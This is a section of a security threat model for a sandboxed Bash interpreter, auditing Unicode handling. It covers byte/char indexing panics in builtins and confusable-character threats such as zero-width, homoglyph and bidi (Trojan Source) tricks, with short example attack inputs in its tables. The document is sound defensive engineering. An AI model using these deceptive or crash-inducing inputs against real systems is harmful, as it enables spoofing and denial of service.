Lines 293-299: split_sed_commands() — chars().enumerate() index as byte offset
Lines 376-382: parse_address() — byte offset arithmetic
Lines 455, 458: parse_sed_command() — .nth(1) + [2..] assumes single-byte
Lines 547-566: commands a/i/c — .len() > 1 checked but .chars().nth(1) may fail
Lines 574-609: rest[1..] assumes single-byte first char
expr.rs (3 instances):
Line 46: args[1].len() — returns bytes, used as character count for `length`
Line 57: pos > s.len() — byte length used as character position bound
Line 62: s[start..end] — char positions (1-based user input) used as byte indices
printf.rs (1 instance):
Line 165: &s[..s.len().min(prec)] — prec may land mid-character
cuttr.rs (expand_char_set):
Lines 405-410: as_bytes() iteration — all non-ASCII chars treated as individual bytes
Line 410: spec[i + 2..].find(":]") byte offset mixed with byte-based slicing (safe for ASCII class names but fragile)
interpreter/mod.rs:
Lines 1520, 1524: expr.chars().nth(eq_pos ± 1) where eq_pos from .find('=') is byte offset
network/allowlist.rs:
Line 194: url_path.chars().nth(pattern_path.len()) — byte count used as char index
Fix Pattern: Convert all byte/char-confused code to use one of:
char_indices()iteration — returns(byte_offset, char)pairsis_char_boundary()checks before slicing- Consistent byte-only offsets from
.find()for slicing
The logging_impl.rs:truncate() function demonstrates the correct pattern using
is_char_boundary().
| ID | Threat | Attack Vector | Mitigation | Status |
|---|---|---|---|---|
| TM-UNI-003 | Zero-width chars in filenames | touch "/tmp/file\u{200B}name" — invisible ZWSP creates confusable filenames |
find_unsafe_path_char() does NOT detect zero-width chars |
UNMITIGATED |
| TM-UNI-004 | Zero-width chars in variable names | \u{200B}PATH=malicious — invisible char makes variable look like PATH |
Not detected; Bash itself allows this | ACCEPTED |
| TM-UNI-005 | Zero-width chars in script source | echo "pass\u{200B}word" — invisible char in string literal |
Not detected; pass-through is correct Bash behavior | ACCEPTED |
Current Risk: LOW for filenames (path validation gap), MINIMAL for variables/scripts (correct pass-through behavior matches Bash)
Zero-width characters of concern:
- U+200B Zero Width Space (ZWSP)
- U+200C Zero Width Non-Joiner (ZWNJ)
- U+200D Zero Width Joiner (ZWJ)
- U+FEFF Byte Order Mark / Zero Width No-Break Space
- U+2060 Word Joiner
- U+180E Mongolian Vowel Separator
Recommendation: Extend find_unsafe_path_char() to reject zero-width characters in
filenames (TM-UNI-003). Variable names and script content should pass through as-is to
match Bash behavior.
| ID | Threat | Attack Vector | Mitigation | Status |
|---|---|---|---|---|
| TM-UNI-006 | Homoglyph filename confusion | /tmp/tеst.sh (Cyrillic е U+0435 vs Latin e U+0065) — visually identical filenames with different content |
Not detected; full homoglyph detection is impractical | ACCEPTED |
| TM-UNI-007 | Homoglyph variable confusion | pаth=/evil (Cyrillic а) vs path=/safe (Latin a) |
Not detected; matches Bash behavior | ACCEPTED |
Current Risk: LOW — Bashkit runs untrusted scripts in isolation. Homoglyph confusion primarily threatens humans reading code, not automated execution. Full Unicode confusable detection (UTS #39) would require large lookup tables and produce false positives on legitimate CJK/accented text.
Decision: Accept risk. Document that callers displaying filenames or variable names to users should apply their own confusable-character detection if needed.
| ID | Threat | Attack Vector | Mitigation | Status |
|---|---|---|---|---|
| TM-UNI-008 | Normalization-based filename bypass | NFC "café" vs NFD "café" (composed é vs e+combining acute) create two distinct files with the same visual name | No normalization applied; matches real filesystem behavior | ACCEPTED |
Current Risk: LOW — This matches POSIX/Linux filesystem behavior (filenames are opaque byte sequences). macOS normalizes to NFD, Linux does not. Bashkit's VFS treats filenames as byte-exact strings, consistent with Linux behavior.
Decision: Accept risk. Normalization would break round-trip fidelity and is not done by real Bash on Linux.
| ID | Threat | Attack Vector | Mitigation | Status |
|---|---|---|---|---|
| TM-UNI-009 | Excessive combining marks | Filename with 1000 combining diacritical marks on one base char — visual DoS / potential rendering hang | max_filename_length (255 bytes) limits total size |
MITIGATED |
| TM-UNI-010 | Combining marks in builtin input | awk / grep pattern with excessive combiners |
Execution timeout + builtin parser depth limit | MITIGATED |
Current Risk: LOW — Existing length limits bound the damage.
| ID | Threat | Attack Vector | Mitigation | Status |
|---|---|---|---|---|
| TM-UNI-011 | Tag character hiding | U+E0001-U+E007F (Tags block) — invisible chars that can conceal content in filenames | find_unsafe_path_char() does NOT detect tag chars |
UNMITIGATED |
| TM-UNI-012 | Interlinear annotation hiding | U+FFF9-U+FFFB (Interlinear Annotations) — can hide text in filenames | Not detected in paths | UNMITIGATED |
| TM-UNI-013 | Deprecated format chars | U+206A-U+206F (Deprecated formatting) — can cause display confusion | Not detected in paths | UNMITIGATED |
Current Risk: LOW — These are extremely obscure. Tag characters were deprecated in Unicode 5.0. Practical exploitation likelihood is minimal.
Recommendation: Extend find_unsafe_path_char() to also reject:
- U+200B-U+200D, U+2060, U+FEFF (zero-width chars, per TM-UNI-003)
- U+E0001-U+E007F (tag characters)
- U+FFF9-U+FFFB (interlinear annotations)
- U+206A-U+206F (deprecated format characters)
| ID | Threat | Attack Vector | Mitigation | Status |
|---|---|---|---|---|
| TM-UNI-014 | Bidi override in script source | Trojan Source — RTL overrides in script comments/strings reorder displayed code, hiding malicious logic | Not detected in script input; paths are protected (TM-DOS-015) | ACCEPTED |
Current Risk: LOW — Bashkit executes untrusted scripts by design. The Trojan Source attack targets human code reviewers, not automated execution. Scripts are treated as untrusted regardless of visual appearance.
Decision: Accept risk. Bidi detection in script source would be defense-in-depth for callers who display scripts to users, but is out of scope for Bashkit's core execution model. Document as caller responsibility.
Codebase-wide audit (beyond awk/sed covered in 11.1) found byte/char confusion in 5 additional components. All share the same root cause: using byte offsets where character indices are expected, or vice versa.
| ID | Component | Attack Vector | Root Cause | Status |
|---|---|---|---|---|
| TM-UNI-015 | expr builtin |
expr substr "café" 4 1 — user-provided char positions used as byte indices; expr length "café" returns 5 (bytes) not 4 (chars) |
s[start..end] with char-position args; .len() returns bytes |
PARTIAL |
| TM-UNI-016 | printf builtin |
printf "%.1s" "é" — precision 1 slices at byte 1, mid-char |
&s[..s.len().min(prec)] without is_char_boundary() |
PARTIAL |
| TM-UNI-017 | cut/tr builtins |
echo "café" | tr 'é' 'x' — multi-byte chars in char set specs broken |
as_bytes() iteration in expand_char_set() treats all input as single-byte |
PARTIAL |
| TM-UNI-018 | Interpreter arithmetic | ((αβγ=1)) — find('=') byte offset passed to .chars().nth() |
Byte offset from .find() used as char index; wrong char inspected |
PARTIAL |
| TM-UNI-019 | Network allowlist | allow("https://example.com/données/") — byte length as char index |
pattern_path.len() (bytes) → url_path.chars().nth(bytes) |
PARTIAL |
Affected Code (expr.rs):
Line 46: args[1].len().to_string() // bytes, not char count
Line 57: pos > s.len() // byte length as char position bound
Line 62: s[start..end].to_string() // char positions used as byte indices → PANIC
Affected Code (printf.rs):
Line 165: &s[..s.len().min(prec)] // prec may land mid-char → PANIC
Affected Code (cuttr.rs):
Lines 405-410: as_bytes() iteration // multi-byte chars split into individual bytes
Line 410: spec[i + 2..].find(":]") // byte offset (safe for ASCII class names)
Affected Code (interpreter/mod.rs):
Line 1517: expr.find('=') // returns byte offset
Line 1520: expr.chars().nth(eq_pos - 1) // byte offset treated as char index
Line 1524: expr.chars().nth(eq_pos + 1) // same confusion
Affected Code (network/allowlist.rs):
Line 194: url_path.chars().nth(pattern_path.len()) // byte count as char index
Risk Assessment: MEDIUM for expr/printf (panic risk on valid input, caught by
catch_unwind). LOW-MEDIUM for allowlist (incorrect allow/deny on multi-byte URL paths,
no panic). LOW for interpreter arithmetic and cut/tr (multi-byte variable names and tr
specs are rare in practice).
Safe Components (confirmed by audit):
- Lexer (
parser/lexer.rs): UsesCharsiterator;Position::advance()correctly usesch.len_utf8()for byte offset tracking - wc (
builtins/wc.rs): Correctly uses.len()for bytes and.chars().count()for characters - grep (
builtins/grep.rs): Delegates to regex crate which handles Unicode correctly - jq (
builtins/jq.rs): Delegates to jaq crate - sort/uniq (
builtins/sort_uniq.rs): String comparison-based, no byte indexing - logging (
logging_impl.rs): Usesis_char_boundary()correctly - python (
builtins/python.rs): Shebang strip usesfind('\n')— newline is ASCII, byte offset safe. No other byte/char manipulation. - Python bindings (
bashkit-python/src/lib.rs): PyO3Stringextraction handles UTF-8 correctly. No manual byte/char manipulation patterns. - eval harness (
bashkit-eval/src/): Only usesIterator::find(notstr::find),chars().take()for display truncation,from_utf8_lossy()for file content. All safe. - curl (
builtins/curl.rs): All.find()calls use ASCII delimiters (:,=). Byte offsets are safe because delimiters are single-byte. - bc (
builtins/bc.rs):find('=')with ASCII delimiter. Safe. - export (
builtins/export.rs):find('=')with ASCII delimiter. Safe. - date (
builtins/date.rs):&fmt[1..]strips ASCII+. Safe. - comm (
builtins/comm.rs):arg[1..]strips ASCII-. Safe. - echo (
builtins/echo.rs):arg_str[1..]strips ASCII-. Safe. - archive (
builtins/archive.rs):arg[1..]strips ASCII-. Safe. - base64 (
builtins/base64.rs):s[7..]afterstarts_with("--wrap=")— 7 ASCII bytes. Safe. - scripted_tool (
scripted_tool/): No byte/char patterns found.
| ID | Threat | Risk | Status | Action |
|---|---|---|---|---|
| TM-UNI-001 | Awk parser byte-boundary panic | MEDIUM | PARTIAL | Fix awk parser indexing (issue #395) |
| TM-UNI-002 | Sed parser byte-boundary panic | MEDIUM | PARTIAL | Fix sed byte-indexing patterns |
| TM-UNI-003 | Zero-width chars in filenames | LOW | UNMITIGATED | Extend find_unsafe_path_char() |
| TM-UNI-004 | Zero-width chars in variables | MINIMAL | ACCEPTED | Matches Bash behavior |
| TM-UNI-005 | Zero-width chars in scripts | MINIMAL | ACCEPTED | Correct pass-through |
| TM-UNI-006 | Homoglyph filenames | LOW | ACCEPTED | Impractical to fully detect |
| TM-UNI-007 | Homoglyph variables | LOW | ACCEPTED | Matches Bash behavior |
| TM-UNI-008 | Normalization bypass | LOW | ACCEPTED | Matches Linux FS behavior |
| TM-UNI-009 | Excessive combining marks (filenames) | LOW | MITIGATED | Length limits bound damage |
| TM-UNI-010 | Excessive combining marks (builtins) | LOW | MITIGATED | Timeout + depth limits |
| TM-UNI-011 | Tag character hiding | LOW | UNMITIGATED | Extend path validation |
| TM-UNI-012 | Interlinear annotation hiding | LOW | UNMITIGATED | Extend path validation |
| TM-UNI-013 | Deprecated format chars | LOW | UNMITIGATED | Extend path validation |
| TM-UNI-014 | Bidi in script source | LOW | ACCEPTED | Caller responsibility |
| TM-UNI-015 | Expr substr byte-boundary panic | MEDIUM | PARTIAL | Fix expr to use char-safe indexing (issue #434) |
| TM-UNI-016 | Printf precision mid-char panic | MEDIUM | PARTIAL | Use is_char_boundary() (issue #435) |
| TM-UNI-017 | Cut/tr byte-level char set parsing | MEDIUM | PARTIAL | Switch to char-aware iteration (issue #436) |
| TM-UNI-018 | Interpreter arithmetic byte/char confusion | LOW | PARTIAL | Use char_indices() in arithmetic (issue #437) |
| TM-UNI-019 | Network allowlist byte/char confusion | MEDIUM | PARTIAL | Fix URL path matching to use byte offsets (issue #438) |
| Responsibility | Related Threats | Description |
|---|---|---|
| Sanitize displayed filenames | TM-UNI-003, TM-UNI-006, TM-UNI-011 | Strip zero-width/invisible chars before showing filenames to users |
| Homoglyph detection | TM-UNI-006, TM-UNI-007 | Apply UTS #39 confusable detection if showing script content to users |
| Bidi sanitization | TM-UNI-014 | Strip bidi overrides from script source before displaying to code reviewers |
| Validate multi-byte builtin args | TM-UNI-015, TM-UNI-016, TM-UNI-017 | Be aware that expr/printf/cut/tr may fail on non-ASCII input until byte-boundary fixes land |
| Use ASCII in network allowlist patterns | TM-UNI-019 | Avoid multi-byte chars in allowlist URL patterns until byte/char fix lands |
specs/architecture.md- System designspecs/vfs.md- Virtual filesystem designspecs/security-testing.md- Fail-point testingspecs/python-builtin.md- Python builtin specificationsrc/builtins/system.rs- Hardcoded system builtinstests/threat_model_tests.rs- Threat model test suitetests/security_failpoint_tests.rs- Fail-point security teststests/unicode_security_tests.rs- Unicode security tests (TM-UNI-*)tests/security_audit_pocs.rs- PoC tests for 2026-03 deep audit (TM-INJ-012–016, TM-INF-017–018, TM-DOS-041–050, TM-PY-028)